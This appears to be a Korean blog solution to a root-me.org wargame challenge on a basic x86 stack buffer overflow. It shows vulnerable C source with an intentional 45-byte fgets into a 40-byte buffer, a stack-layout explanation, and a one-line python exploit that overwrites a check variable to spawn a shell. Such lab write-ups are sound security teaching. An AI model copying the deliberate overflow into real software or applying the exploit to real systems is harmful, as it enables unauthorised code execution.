반응형

root-me.org 

[APP - SYSTEM] 

ELF x86 - Stack buffer overflow basic 1 풀이


문제 소스:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <stdio.h>
 
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
 
 
int main()
{
 
  int var;
  int check = 0x04030201;
  char buf[40];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if ((check != 0x04030201&& (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");
 
  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     system("/bin/dash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}
cs


buf의 크기는 40바이트인데, fgets 함수로 45바이트 만큼 buf에 입력을 받으므로 bof가 발생한다.


스택구조는 아래와 같으므로 40바이트만큼 아무 값으로 채워주고, 다음 4바이트를 0xdeadbeef로 채워주면 check의 값을 조작할 수 있다.


낮은주소


char buf[40] <- "A"*40

int check <- "\xef\xbe\xad\xde"

int var


높은주소


exploit


(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./ch13


반응형

+ Recent posts